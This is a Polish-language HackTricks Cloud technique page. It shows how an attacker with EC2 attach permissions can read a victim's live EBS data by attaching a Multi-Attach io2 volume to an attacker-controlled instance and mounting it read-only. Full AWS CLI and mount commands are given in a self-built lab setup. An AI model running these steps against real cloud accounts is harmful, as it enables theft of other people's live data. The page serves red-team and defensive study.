AWS - Live Data Theft via EBS Multi-Attach
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Summary
Wykorzystaj EBS Multi-Attach, aby odczytać żywy wolumin danych io1/io2, dołączając ten sam wolumin do instancji kontrolowanej przez atakującego w tej samej Availability Zone (AZ). Zamontowanie udostępnionego woluminu w trybie read-only daje natychmiastowy dostęp do plików będących w użyciu bez tworzenia snapshotów.
Requirements
- Target volume: io1 lub io2 utworzony z
--multi-attach-enabledw tej samej AZ co instancja atakującego. - Permissions:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancesna docelowym woluminie/instancjach. - Infrastructure: typy instancji oparte na Nitro, które wspierają Multi-Attach (rodziny C5/M5/R5 itp.).
Notes
- Montuj w trybie read-only z
-o ro,noload, aby zmniejszyć ryzyko uszkodzenia i uniknąć odtwarzania dzienników. - Na instancjach Nitro urządzenie EBS NVMe eksponuje stabilną ścieżkę
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(pomoc poniżej).
Prepare a Multi-Attach io2 volume and attach to victim
Przykład (utwórz w us-east-1a i dołącz do ofiary):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Na maszynie ofiary sformatuj/zamontuj nowy wolumin i zapisz dane wrażliwe (ilustracyjnie):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Dołącz ten sam wolumin do instancji atakującej
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Zamontuj w trybie tylko do odczytu na maszynie atakującego i odczytaj dane
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Oczekiwany rezultat: Ten sam VOL_ID pokazuje wiele Attachments (victim and attacker) i attacker może odczytać pliki zapisane przez victim bez tworzenia żadnego snapshotu.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Pomocnik: znajdź ścieżkę urządzenia NVMe według ID wolumenu
Na instancjach Nitro użyj stabilnej ścieżki by-id, która osadza ID wolumenu (usuń myślnik po vol):
Wpływ
- Natychmiastowy dostęp do danych na żywo na docelowym woluminie EBS bez tworzenia snapshotów.
- Jeśli zamontowany z uprawnieniami read-write, atakujący może manipulować systemem plików ofiary (ryzyko uszkodzenia).
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

